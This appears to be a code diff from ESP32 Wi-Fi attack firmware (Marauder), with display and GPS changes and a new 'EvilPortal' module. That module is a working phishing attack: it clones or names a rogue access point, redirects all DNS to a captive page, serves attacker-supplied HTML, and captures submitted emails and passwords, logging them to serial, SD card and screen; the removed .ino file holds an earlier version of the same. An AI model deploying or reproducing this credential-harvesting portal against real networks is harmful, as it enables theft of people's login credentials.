+    } else if (a_sw != -1) {
+      int index = cmd_args.get(a_sw + 1).toInt();
+      if (!this->inRange(access_points->size(), index)) {
+        Serial.println("Index not in range: " + (String)index);
+        return;
+      }
+      essid = access_points->get(index).essid;
+    } else if (n_sw != -1) {
+      essid = cmd_args.get(n_sw + 1);
+    } else {
+      Serial.println("You must specify an access point or ssid");
+      return;
+    }
+    
+    if (p_sw != -1) {
+      pwx = cmd_args.get(p_sw + 1);
+    }
+    Serial.println("Attempting to join WiFi with ssid " + (String)essid);
+    wifi_scan_obj.joinWiFi(essid, pwx);
+  }*/
 }
 }

+ 31 - 17
esp32cam_marauder/Display.cpp

@@ -20,11 +20,17 @@ void Display::RunSetup()
   #endif
   #endif
   
   
   tft.init();
   tft.init();
-  tft.setRotation(0); // Portrait
+  #ifndef MARAUDER_M5STICKC
+    tft.setRotation(0); // Portrait
+  #endif
+
+  #ifdef MARAUDER_M5STICKC
+    tft.setRotation(3);
+  #endif
 
 
   tft.setCursor(0, 0);
   tft.setCursor(0, 0);
 
 
-  #ifndef MARAUDER_MINI
+  #ifdef HAS_ILI9341
 
 
     #ifdef TFT_SHIELD
     #ifdef TFT_SHIELD
       uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
       uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
@@ -313,7 +319,7 @@ void Display::displayBuffer(bool do_clear)
 
 
 void Display::showCenterText(String text, int y)
 void Display::showCenterText(String text, int y)
 {
 {
-  tft.setCursor((SCREEN_WIDTH - (text.length() * 6)) / 2, y);
+  tft.setCursor((SCREEN_WIDTH - (text.length() * (6 * BANNER_TEXT_SIZE))) / 2, y);
   tft.println(text);
   tft.println(text);
 }
 }
 
 
@@ -380,7 +386,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
   //Serial.println("   tfa: " + (String)tfa);
   //Serial.println("   tfa: " + (String)tfa);
   //Serial.println("   bfa: " + (String)bfa);
   //Serial.println("   bfa: " + (String)bfa);
   //Serial.println("yStart: " + (String)this->yStart);
   //Serial.println("yStart: " + (String)this->yStart);
-  #ifndef MARAUDER_MINI
+  #ifdef HAS_ILI9341
     tft.writecommand(ILI9341_VSCRDEF); // Vertical scroll definition
     tft.writecommand(ILI9341_VSCRDEF); // Vertical scroll definition
     tft.writedata(tfa >> 8);           // Top Fixed Area line count
     tft.writedata(tfa >> 8);           // Top Fixed Area line count
     tft.writedata(tfa);
     tft.writedata(tfa);
@@ -393,7 +399,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
 
 
 
 
 void Display::scrollAddress(uint16_t vsp) {
 void Display::scrollAddress(uint16_t vsp) {
-  #ifndef MARAUDER_MINI
+  #ifdef HAS_ILI9341
     tft.writecommand(ILI9341_VSCRSADD); // Vertical scrolling pointer
     tft.writecommand(ILI9341_VSCRSADD); // Vertical scrolling pointer
     tft.writedata(vsp>>8);
     tft.writedata(vsp>>8);
     tft.writedata(vsp);
     tft.writedata(vsp);
@@ -421,7 +427,7 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
   // the filename can be a String or character array type:
   // the filename can be a String or character array type:
 
 
   //boolean decoded = JpegDec.decodeFsFile(filename);  // or pass the filename (leading / distinguishes SPIFFS files)
   //boolean decoded = JpegDec.decodeFsFile(filename);  // or pass the filename (leading / distinguishes SPIFFS files)
-  boolean decoded = JpegDec.decodeArray(MarauderTitle, 13578);
+  boolean decoded = JpegDec.decodeArray(MarauderTitle, MARAUDER_TITLE_BYTES);
 
 
   if (decoded) {
   if (decoded) {
     // print information about the image to the serial port
     // print information about the image to the serial port
@@ -435,13 +441,13 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
   //}
   //}
 }
 }
 
 
-void Display::setupDraw() {
+/*void Display::setupDraw() {
   this->tft.drawLine(0, 0, 10, 0, TFT_MAGENTA);
   this->tft.drawLine(0, 0, 10, 0, TFT_MAGENTA);
   this->tft.drawLine(0, 0, 0, 10, TFT_GREEN);
   this->tft.drawLine(0, 0, 0, 10, TFT_GREEN);
   this->tft.drawLine(0, 0, 0, 0, TFT_CYAN);
   this->tft.drawLine(0, 0, 0, 0, TFT_CYAN);
-}
+}*/
 
 
-uint16_t xlast;
+/*uint16_t xlast;
 uint16_t ylast;
 uint16_t ylast;
 uint32_t AH;
 uint32_t AH;
 void Display::drawStylus()
 void Display::drawStylus()
@@ -507,7 +513,7 @@ void Display::drawStylus()
     xlast = 0;
     xlast = 0;
     ylast = 0;
     ylast = 0;
   }
   }
-}
+}*/
 
 
 //====================================================================================
 //====================================================================================
 //   Decode and render the Jpeg image onto the TFT screen
 //   Decode and render the Jpeg image onto the TFT screen
@@ -745,20 +751,20 @@ void Display::listDir(fs::FS &fs, const char * dirname, uint8_t levels) {
 
 
 void Display::updateBanner(String msg)
 void Display::updateBanner(String msg)
 {
 {
-  this->img.deleteSprite();
+  //this->img.deleteSprite();
   
   
-  this->img.setColorDepth(8);
+  //this->img.setColorDepth(8);
 
 
-  this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
+  //this->img.createSprite(SCREEN_WIDTH, TEXT_HEIGHT);
 
 
   this->buildBanner(msg, current_banner_pos);
   this->buildBanner(msg, current_banner_pos);
 
 
-  this->img.pushSprite(0, STATUS_BAR_WIDTH);
+  //this->img.pushSprite(0, STATUS_BAR_WIDTH);
 
 
-  current_banner_pos--;
+  //current_banner_pos--;
 
 
-  if (current_banner_pos <= 0)
-    current_banner_pos = SCREEN_WIDTH + 2;
+  //if (current_banner_pos <= 0)
+  //  current_banner_pos = SCREEN_WIDTH + 2;
 }
 }
 
 
 
 
@@ -766,6 +772,13 @@ void Display::buildBanner(String msg, int xpos)
 {
 {
   int h = TEXT_HEIGHT;
   int h = TEXT_HEIGHT;
 
 
+  this->tft.fillRect(0, STATUS_BAR_WIDTH, SCREEN_WIDTH, TEXT_HEIGHT, TFT_BLACK);
+  this->tft.setFreeFont(NULL);           // Font 4 selected
+  this->tft.setTextSize(BANNER_TEXT_SIZE);           // Font size scaling is x1
+  this->tft.setTextColor(TFT_WHITE, TFT_BLACK);  // Black text, no background colour
+  this->showCenterText(msg, STATUS_BAR_WIDTH);
+
+  /*
   // We could just use fillSprite(color) but lets be a bit more creative...
   // We could just use fillSprite(color) but lets be a bit more creative...
 
 
   // Fill with rainbow stripes
   // Fill with rainbow stripes
@@ -787,6 +800,7 @@ void Display::buildBanner(String msg, int xpos)
 
 
   img.setCursor(xpos - SCREEN_WIDTH, 2); // Print text at xpos - sprite width
   img.setCursor(xpos - SCREEN_WIDTH, 2); // Print text at xpos - sprite width
   img.print(msg);
   img.print(msg);
+  */
 }
 }
 
 
 void Display::main(uint8_t scan_mode)
 void Display::main(uint8_t scan_mode)

+ 3 - 40
esp32cam_marauder/Display.h

@@ -8,12 +8,10 @@
 #include <FS.h>
 #include <FS.h>
 #include <functional>
 #include <functional>
 #include <JPEGDecoder.h>
 #include <JPEGDecoder.h>
-//#include <SimpleList.h>
 #include <LinkedList.h>
 #include <LinkedList.h>
 #include <SPI.h>
 #include <SPI.h>
 #include <lvgl.h>
 #include <lvgl.h>
 #include <Ticker.h>
 #include <Ticker.h>
-//#include <M5Stack.h>
 #include "SPIFFS.h"
 #include "SPIFFS.h"
 #include "Assets.h"
 #include "Assets.h"
 
 
@@ -39,23 +37,6 @@
 #define LV_ADD_SSID 14
 #define LV_ADD_SSID 14
 #define WIFI_ATTACK_BEACON_LIST 15
 #define WIFI_ATTACK_BEACON_LIST 15
 
 
-/*
-PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
-PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
-
-PROGMEM static lv_disp_buf_t disp_buf;
-PROGMEM static lv_color_t buf[LV_HOR_RES_MAX * 10];
-
-PROGMEM static void ta_event_cb(lv_obj_t * ta, lv_event_t event);
-PROGMEM static void keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event);
-
-// lvgl stuff
-PROGMEM static lv_obj_t *kb;
-*/
-
-// #define KIT
-// #define TFT_DIY
-
 class Display
 class Display
 {
 {
   private:
   private:
@@ -76,16 +57,9 @@ class Display
       void scrollScreenBuffer(bool down = false);
       void scrollScreenBuffer(bool down = false);
     #endif
     #endif
 
 
-    //void addNodes(Menu* menu, String name, Menu* child, std::function<void()> callable);
-    //void changeMenu(Menu* menu);
-    //void showMenuList(Menu* menu, int layer);
-    //static void lv_tick_handler();
-
   public:
   public:
     Display();
     Display();
-    //Ticker tick;
     TFT_eSPI tft = TFT_eSPI();
     TFT_eSPI tft = TFT_eSPI();
-    TFT_eSprite img = TFT_eSprite(&tft);
     TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
     TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
     const String PROGMEM version_number = MARAUDER_VERSION;
     const String PROGMEM version_number = MARAUDER_VERSION;
 
 
@@ -95,15 +69,9 @@ class Display
     bool draw_tft = false;
     bool draw_tft = false;
     bool exit_draw = false;
     bool exit_draw = false;
 
 
-    int TOP_FIXED_AREA_2 = 48;
-    int print_delay_1, print_delay_2 = 10;
-    int current_banner_pos = SCREEN_WIDTH;
-
-    //Menu* current_menu;
-    
-    //Menu mainMenu;
-    //Menu wifiMenu;
-    //Menu bluetoothMenu;
+    uint8_t TOP_FIXED_AREA_2 = 48;
+    uint8_t print_delay_1, print_delay_2 = 10;
+    uint8_t current_banner_pos = SCREEN_WIDTH;
 
 
     LinkedList<String>* display_buffer;
     LinkedList<String>* display_buffer;
 
 
@@ -127,9 +95,6 @@ class Display
     // We can speed up scrolling of short text lines by just blanking the character we drew
     // We can speed up scrolling of short text lines by just blanking the character we drew
     int blank[19]; // We keep all the strings pixel lengths to optimise the speed of the top line blanking
     int blank[19]; // We keep all the strings pixel lengths to optimise the speed of the top line blanking
 
 
-    //void initLVGL();
-    //void deinitLVGL();
-    //void joinWiFiGFX();
     void tftDrawRedOnOffButton();
     void tftDrawRedOnOffButton();
     void tftDrawGreenOnOffButton();
     void tftDrawGreenOnOffButton();
     void tftDrawGraphObjects(byte x_scale);
     void tftDrawGraphObjects(byte x_scale);
@@ -143,8 +108,6 @@ class Display
     void clearScreen();
     void clearScreen();
     void displayBuffer(bool do_clear = false);
     void displayBuffer(bool do_clear = false);
     void drawJpeg(const char *filename, int xpos, int ypos);
     void drawJpeg(const char *filename, int xpos, int ypos);
-    void setupDraw();
-    void drawStylus();
     void getTouchWhileFunction(bool pressed);
     void getTouchWhileFunction(bool pressed);
     void initScrollValues(bool tte = false);
     void initScrollValues(bool tte = false);
     void jpegInfo();
     void jpegInfo();

+ 310 - 0
esp32cam_marauder/EvilPortal.cpp

@@ -0,0 +1,310 @@
+#include "EvilPortal.h"
+
+AsyncWebServer server(80);
+
+EvilPortal::EvilPortal() {
+  this->runServer = false;
+  this->name_received = false;
+  this->password_received = false;
+  this->has_html = false;
+  this->has_ap = false;
+}
+
+bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
+  if (!this->setAP(ssids, access_points))
+    return false;
+  if (!this->setHtml())
+    return false;
+    
+  startPortal();
+
+  return true;
+}
+
+String EvilPortal::get_user_name() {
+  return this->user_name;
+}
+
+String EvilPortal::get_password() {
+  return this->password;
+}
+
+void EvilPortal::setupServer() {
+  server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
+    request->send_P(200, "text/html", index_html);
+    Serial.println("client connected");
+    #ifdef HAS_SCREEN
+      this->sendToDisplay("Client connected to server");
+    #endif
+  });
+
+  server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
+    String inputMessage;
+    String inputParam;
+
+    if (request->hasParam("email")) {
+      inputMessage = request->getParam("email")->value();
+      inputParam = "email";
+      this->user_name = inputMessage;
+      this->name_received = true;
+    }
+
+    if (request->hasParam("password")) {
+      inputMessage = request->getParam("password")->value();
+      inputParam = "password";
+      this->password = inputMessage;
+      this->password_received = true;
+    }
+    request->send(
+      200, "text/html",
+      "<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
+  });
+  Serial.println("web server up");
+}
+
+bool EvilPortal::setHtml() {
+  Serial.println("Setting HTML...");
+  #ifndef WRITE_PACKETS_SERIAL
+    File html_file = sd_obj.getFile("/index.html");
+    if (!html_file) {
+      #ifdef HAS_SCREEN
+        this->sendToDisplay("Could not find /index.html.");
+        this->sendToDisplay("Touch to exit...");
+      #endif
+      Serial.println("Could not find /index.html. Use stopscan...");
+      return false;
+    }
+    else {
+      if (html_file.size() > MAX_HTML_SIZE) {
+        #ifdef HAS_SCREEN
+          this->sendToDisplay("The given HTML is too large.");
+          this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
+          this->sendToDisplay("Touch to exit...");
+        #endif
+        Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
+        return false;
+      }
+      String html = "";
+      while (html_file.available()) {
+        char c = html_file.read();
+        if (isPrintable(c))
+          html.concat(c);
+      }
+      strncpy(index_html, html.c_str(), strlen(html.c_str()));
+      this->has_html = true;
+      Serial.println("html set");
+      html_file.close();
+      return true;
+    }
+  #else
+    return false;
+  #endif
+
+}
+
+bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
+  // See if there are selected APs first
+  String ap_config = "";
+  String temp_ap_name = "";
+  for (int i = 0; i < access_points->size(); i++) {
+    if (access_points->get(i).selected) {
+      temp_ap_name = access_points->get(i).essid;
+      break;
+    }
+  }
+  // If there are no SSIDs and there are no APs selected, pull from file
+  // This means the file is last resort
+  if ((ssids->size() <= 0) && (temp_ap_name == "")) {
+    #ifndef WRITE_PACKETS_SERIAL
+      File ap_config_file = sd_obj.getFile("/ap.config.txt");
+      // Could not open config file. return false
+      if (!ap_config_file) {
+        #ifdef HAS_SCREEN
+          this->sendToDisplay("Could not find /ap.config.txt.");
+          this->sendToDisplay("Touch to exit...");
+        #endif
+        Serial.println("Could not find /ap.config.txt. Use stopscan...");
+        return false;
+      }
+      // Config file good. Proceed
+      else {
+        // ap name too long. return false        
+        if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
+          #ifdef HAS_SCREEN
+            this->sendToDisplay("The given AP name is too large.");
+            this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
+            this->sendToDisplay("Touch to exit...");
+          #endif
+          Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
+          return false;
+        }
+        // AP name length good. Read from file into var
+        while (ap_config_file.available()) {
+          char c = ap_config_file.read();
+          Serial.print(c);
+          if (isPrintable(c)) {
+            ap_config.concat(c);
+          }
+        }
+        #ifdef HAS_SCREEN
+          this->sendToDisplay("AP name from config file");
+          this->sendToDisplay("AP name: " + ap_config);
+        #endif
+        Serial.println("AP name from config file: " + ap_config);
+        ap_config_file.close();
+      }
+    #else
+      return false;
+    #endif
+  }
+  // There are SSIDs in the list but there could also be an AP selected
+  // Priority is SSID list before AP selected and config file
+  else if (ssids->size() > 0) {
+    ap_config = ssids->get(0).essid;
+    if (ap_config.length() > MAX_AP_NAME_SIZE) {
+      #ifdef HAS_SCREEN
+        this->sendToDisplay("The given AP name is too large.");
+        this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
+        this->sendToDisplay("Touch to exit...");
+      #endif
+      Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
+      return false;
+    }
+    #ifdef HAS_SCREEN
+      this->sendToDisplay("AP name from SSID list");
+      this->sendToDisplay("AP name: " + ap_config);
+    #endif
+    Serial.println("AP name from SSID list: " + ap_config);
+  }
+  else if (temp_ap_name != "") {
+    if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
+      #ifdef HAS_SCREEN
+        this->sendToDisplay("The given AP name is too large.");
+        this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
+        this->sendToDisplay("Touch to exit...");
+      #endif
+      Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
+    }
+    else {
+      ap_config = temp_ap_name;
+      #ifdef HAS_SCREEN
+        this->sendToDisplay("AP name from AP list");
+        this->sendToDisplay("AP name: " + ap_config);
+      #endif
+      Serial.println("AP name from AP list: " + ap_config);
+    }
+  }
+  else {
+    Serial.println("Could not configure Access Point. Use stopscan...");
+    #ifdef HAS_SCREEN
+      this->sendToDisplay("Could not configure Access Point.");
+      this->sendToDisplay("Touch to exit...");
+    #endif
+  }
+
+  if (ap_config != "") {
+    strncpy(apName, ap_config.c_str(), MAX_AP_NAME_SIZE);
+    this->has_ap = true;
+    Serial.println("ap config set");
+    return true;
+  }
+  else
+    return false;
+
+}
+
+void EvilPortal::startAP() {
+  Serial.print("starting ap ");
+  Serial.println(apName);
+
+  WiFi.mode(WIFI_AP);
+  WiFi.softAP(apName);
+
+  #ifdef HAS_SCREEN
+    this->sendToDisplay("AP started");
+  #endif
+
+  Serial.print("ap ip address: ");
+  Serial.println(WiFi.softAPIP());
+
+  this->setupServer();
+
+  this->dnsServer.start(53, "*", WiFi.softAPIP());
+  server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
+  server.begin();
+  #ifdef HAS_SCREEN
+    this->sendToDisplay("Evil Portal READY");
+  #endif
+}
+
+void EvilPortal::startPortal() {
+  // wait for flipper input to get config index
+  this->startAP();
+
+  this->runServer = true;
+}
+
+void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
+  len = str.length(); // Obtain the length of the string
+
+  buf = new uint8_t[len]; // Dynamically allocate the buffer
+
+  // Copy each character from the string to the buffer
+  for (uint32_t i = 0; i < len; i++) {
+    buf[i] = static_cast<uint8_t>(str.charAt(i));
+  }
+}
+
+void EvilPortal::addLog(String log, int len) {
+  bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
+  if (save_packet) {
+    uint8_t* logBuffer = nullptr;
+    uint32_t logLength = 0;
+    this->convertStringToUint8Array(log, logBuffer, logLength);
+    
+    #ifdef WRITE_PACKETS_SERIAL
+      buffer_obj.addPacket(logBuffer, logLength, true);
+      delete[] logBuffer;
+    #elif defined(HAS_SD)
+      sd_obj.addPacket(logBuffer, logLength, true);
+      delete[] logBuffer;
+    #else
+      delete[] logBuffer;
+      return;
+    #endif
+  }
+}
+
+void EvilPortal::sendToDisplay(String msg) {
+  #ifdef HAS_SCREEN
+    String display_string = "";
+    display_string.concat(msg);
+    int temp_len = display_string.length();
+    for (int i = 0; i < 40 - temp_len; i++)
+    {
+      display_string.concat(" ");
+    }
+    display_obj.loading = true;
+    display_obj.display_buffer->add(display_string);
+    display_obj.loading = false;
+  #endif
+}
+
+void EvilPortal::main(uint8_t scan_mode) {
+  if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
+    this->dnsServer.processNextRequest();
+    if (this->name_received && this->password_received) {
+      this->name_received = false;
+      this->password_received = false;
+      String logValue1 =
+          "u: " + this->user_name;
+      String logValue2 = "p: " + this->password;
+      String full_string = logValue1 + " " + logValue2 + "\n";
+      Serial.print(full_string);
+      this->addLog(full_string, full_string.length());
+      #ifdef HAS_SCREEN
+        this->sendToDisplay(full_string);
+      #endif
+    }
+  }
+}

+ 110 - 0
esp32cam_marauder/EvilPortal.h

@@ -0,0 +1,110 @@
+#ifndef EvilPortal_h
+#define EvilPortal_h
+
+#include "ESPAsyncWebServer.h"
+#include <AsyncTCP.h>
+#include <DNSServer.h>
+
+#include "configs.h"
+#include "settings.h"
+#ifdef HAS_SCREEN
+  #include "Display.h"
+  #include <LinkedList.h>
+#endif
+#ifndef WRITE_PACKETS_SERIAL
+  #include "SDInterface.h"
+#else
+  #include "Buffer.h"
+#endif
+#include "lang_var.h"
+
+extern Settings settings_obj;
+#ifndef WRITE_PACKETS_SERIAL
+  extern SDInterface sd_obj;
+#endif
+#ifdef HAS_SCREEN
+  extern Display display_obj;
+#endif
+extern Buffer buffer_obj; 
+
+#define WAITING 0
+#define GOOD 1
+#define BAD 2
+
+#define SET_HTML_CMD "sethtml="
+#define SET_AP_CMD "setap="
+#define RESET_CMD "reset"
+#define START_CMD "start"
+#define ACK_CMD "ack"
+#define MAX_AP_NAME_SIZE 30
+#define WIFI_SCAN_EVIL_PORTAL 30
+
+char apName[MAX_AP_NAME_SIZE] = "PORTAL";
+char index_html[MAX_HTML_SIZE] = "TEST";
+
+struct ssid {
+  String essid;
+  uint8_t channel;
+  uint8_t bssid[6];
+  bool selected;
+};
+
+struct AccessPoint {
+  String essid;
+  uint8_t channel;
+  uint8_t bssid[6];
+  bool selected;
+  LinkedList<char>* beacon;
+  char rssi;
+  LinkedList<uint8_t>* stations;
+};
+
+class CaptiveRequestHandler : public AsyncWebHandler {
+public:
+  CaptiveRequestHandler() {}
+  virtual ~CaptiveRequestHandler() {}
+
+  bool canHandle(AsyncWebServerRequest *request) { return true; }
+
+  void handleRequest(AsyncWebServerRequest *request) {
+    request->send_P(200, "text/html", index_html);
+  }
+};
+
+class EvilPortal {
+
+  private:
+    bool runServer;
+    bool name_received;
+    bool password_received;
+
+    String user_name;
+    String password;
+
+    bool has_html;
+    bool has_ap;
+
+    DNSServer dnsServer;
+
+    void (*resetFunction)(void) = 0;
+
+    bool setHtml();
+    bool setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
+    void setupServer();
+    void startPortal();
+    void startAP();
+    void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
+    void sendToDisplay(String msg);
+
+  public:
+    EvilPortal();
+
+    String get_user_name();
+    String get_password();
+    void addLog(String log, int len);
+    bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
+    void main(uint8_t scan_mode);
+
+};
+
+#endif

+ 0 - 200
esp32cam_marauder/EvilPortal.ino

@@ -1,200 +0,0 @@
-// From: https://raw.githubusercontent.com/bigbrodude6119/flipper-zero-evil-portal/main/esp32/EvilPortal/EvilPortal.ino
-
-#include "ESPAsyncWebServer.h"
-#include <AsyncTCP.h>
-#include <DNSServer.h>
-#include <WiFi.h>
-
-#define MAX_HTML_SIZE 20000
-
-#define B_PIN 4
-#define G_PIN 5
-#define R_PIN 6
-
-#define WAITING 0
-#define GOOD 1
-#define BAD 2
-
-#define SET_HTML_CMD "sethtml="
-#define SET_AP_CMD "setap="
-#define RESET_CMD "reset"
-#define START_CMD "start"
-#define ACK_CMD "ack"
-
-// GLOBALS
-DNSServer dnsServer;
-AsyncWebServer evilportal_server(80);
-
-bool runServer = false;
-
-String user_name;
-String password;
-bool name_received = false;
-bool password_received = false;
-
-char apName[30] = "";
-char index_html[MAX_HTML_SIZE] = "TEST";
-
-// RESET
-void (*resetFunction)(void) = 0;
-
-// AP FUNCTIONS
-class CaptiveRequestHandler : public AsyncWebHandler {
-public:
-  CaptiveRequestHandler() {}
-  virtual ~CaptiveRequestHandler() {}
-
-  bool canHandle(AsyncWebServerRequest *request) { return true; }
-
-  void handleRequest(AsyncWebServerRequest *request) {
-    request->send_P(200, "text/html", index_html);
-  }
-};
-
-void setLed(int i) {
-  /*if (i == WAITING) {
-    digitalWrite(B_PIN, LOW);
-    digitalWrite(G_PIN, HIGH);
-    digitalWrite(R_PIN, HIGH);
-  } else if (i == GOOD) {
-    digitalWrite(B_PIN, HIGH);
-    digitalWrite(G_PIN, LOW);
-    digitalWrite(R_PIN, HIGH);
-  } else {
-    digitalWrite(B_PIN, HIGH);
-    digitalWrite(G_PIN, HIGH);
-    digitalWrite(R_PIN, LOW);
-  }*/
-}
-
-void setupServer() {  
-  evilportal_server.on("/", HTTP_GET, [](AsyncWebServerRequest *request) {
-    request->send_P(200, "text/html", index_html);
-    Serial.println("client connected");
-  });
-
-  evilportal_server.on("/get", HTTP_GET, [](AsyncWebServerRequest *request) {
-    String inputMessage;
-    String inputParam;
-
-    if (request->hasParam("email")) {
-      inputMessage = request->getParam("email")->value();
-      inputParam = "email";
-      user_name = inputMessage;
-      name_received = true;
-    }
-
-    if (request->hasParam("password")) {
-      inputMessage = request->getParam("password")->value();
-      inputParam = "password";
-      password = inputMessage;
-      password_received = true;
-    }
-    request->send(
-        200, "text/html",
-        "<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
-  });
-  Serial.println("web server up");
-}
-
-void startAP() {
-  Serial.print("starting ap ");
-  Serial.println(apName);
-
-  WiFi.mode(WIFI_AP);
-  WiFi.softAP(apName);
-
-  Serial.print("ap ip address: ");
-  Serial.println(WiFi.softAPIP());
-
-  setupServer();
-
-  dnsServer.start(53, "*", WiFi.softAPIP());
-  evilportal_server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
-  evilportal_server.begin();
-}
-
-bool checkForCommand(char *command) {
-  bool received = false;
-  if (Serial.available() > 0) {
-      String flipperMessage = Serial.readString();
-      const char *serialMessage = flipperMessage.c_str();
-      int compare = strncmp(serialMessage, command, strlen(command));
-      if (compare == 0) {
-        received = true;
-      }
-  }
-  return received;
-}
-
-void getInitInput() {
-  // wait for html
-  Serial.println("Waiting for HTML");
-  bool has_ap = false;
-  bool has_html = false;
-  while (!has_html || !has_ap) {
-      if (Serial.available() > 0) {
-        String flipperMessage = Serial.readString();
-        const char *serialMessage = flipperMessage.c_str();
-        if (strncmp(serialMessage, SET_HTML_CMD, strlen(SET_HTML_CMD)) == 0) {
-          serialMessage += strlen(SET_HTML_CMD);
-          strncpy(index_html, serialMessage, strlen(serialMessage) - 1);
-          has_html = true;
-          Serial.println("html set");
-        } else if (strncmp(serialMessage, SET_AP_CMD, strlen(SET_AP_CMD)) ==
-                   0) {
-          serialMessage += strlen(SET_AP_CMD);
-          strncpy(apName, serialMessage, strlen(serialMessage) - 1);
-          has_ap = true;
-          Serial.println("ap set");
-        } else if (strncmp(serialMessage, RESET_CMD, strlen(RESET_CMD)) == 0) {
-          resetFunction();
-        }
-      }
-  }
-  Serial.println("all set");
-}
-
-void startPortal() {
-  // wait for flipper input to get config index
-  startAP();
-
-  runServer = true;
-}
-
-// MAIN FUNCTIONS
-void evilportal_setup() {
-
-  // init LED pins
-  /*pinMode(B_PIN, OUTPUT);
-  pinMode(G_PIN, OUTPUT);
-  pinMode(R_PIN, OUTPUT);*/
-
-  setLed(WAITING);
-
-  //Serial.begin(115200);
-
-  // wait for init flipper input
-  getInitInput();
-
-  setLed(GOOD);
-
-  startPortal();
-}
-
-void evilportal_loop() {
-  dnsServer.processNextRequest();
-  if (name_received && password_received) {
-    name_received = false;
-    password_received = false;
-    String logValue1 =
-        "u: " + user_name;
-    String logValue2 = "p: " + password;
-    Serial.println(logValue1);
-    Serial.println(logValue2);
-  }
-  if(checkForCommand(RESET_CMD)) {
-    Serial.println("reseting");
-    resetFunction();
-  }  
-}

+ 126 - 0
esp32cam_marauder/GpsInterface.cpp

@@ -0,0 +1,126 @@
+#include "GpsInterface.h"
+
+#ifdef HAS_GPS
+
+char nmeaBuffer[100];
+
+MicroNMEA nmea(nmeaBuffer, sizeof(nmeaBuffer));
+
+HardwareSerial Serial2(GPS_SERIAL_INDEX);
+
+void GpsInterface::begin() {
+
+  Serial2.begin(9600, SERIAL_8N1, GPS_TX, GPS_RX);
+
+  MicroNMEA::sendSentence(Serial2, "$PSTMSETPAR,1201,0x00000042");
+  MicroNMEA::sendSentence(Serial2, "$PSTMSAVEPAR");
+
+  MicroNMEA::sendSentence(Serial2, "$PSTMSRR");
+
+  delay(4000);
+
+  if (Serial2.available()) {
+    Serial.println("GPS Attached Successfully");
+    this->gps_enabled = true;
+    while (Serial2.available())
+      Serial2.read();
+  }
+}
+
+// Thanks JosephHewitt
+String GpsInterface::dt_string_from_gps(){
+  //Return a datetime String using GPS data only.
+  String datetime = "";
+  if (nmea.isValid() && nmea.getYear() > 0){
+    datetime += nmea.getYear();
+    datetime += "-";
+    datetime += nmea.getMonth();
+    datetime += "-";
+    datetime += nmea.getDay();
+    datetime += " ";
+    datetime += nmea.getHour();
+    datetime += ":";
+    datetime += nmea.getMinute();
+    datetime += ":";
+    datetime += nmea.getSecond();
+  }
+  return datetime;
+}
+
+void GpsInterface::setGPSInfo() {
+  this->good_fix = nmea.isValid();
+  this->num_sats = nmea.getNumSatellites();
+
+  this->datetime = this->dt_string_from_gps();
+
+  this->lat = String((float)nmea.getLatitude()/1000000, 7);
+  this->lon = String((float)nmea.getLongitude()/1000000, 7);
+  long alt = 0;
+  if (!nmea.getAltitude(alt)){
+    alt = 0;
+  }
+  this->altf = (float)alt / 1000;
+
+  this->accuracy = 2.5 * ((float)nmea.getHDOP()/10);
+
+  //nmea.clear();
+}
+
+float GpsInterface::getAccuracy() {
+  return this->accuracy;
+}
+
+String GpsInterface::getLat() {
+  return this->lat;
+}
+
+String GpsInterface::getLon() {
+  return this->lon;
+}
+
+float GpsInterface::getAlt() {
+  return this->altf;
+}
+
+String GpsInterface::getDatetime() {
+  return this->datetime;
+}
+
+String GpsInterface::getNumSatsString() {
+  return (String)num_sats;
+}
+
+bool GpsInterface::getFixStatus() {
+  return this->good_fix;
+}
+
+String GpsInterface::getFixStatusAsString() {
+  if (this->getFixStatus())
+    return "Yes";
+  else
+    return "No";
+}
+
+bool GpsInterface::getGpsModuleStatus() {
+  return this->gps_enabled;
+}
+
+void GpsInterface::main() {
+  while (Serial2.available()) {
+    //Fetch the character one by one
+    char c = Serial2.read();
+    //Serial.print(c);
+    //Pass the character to the library
+    nmea.process(c);
+  }
+
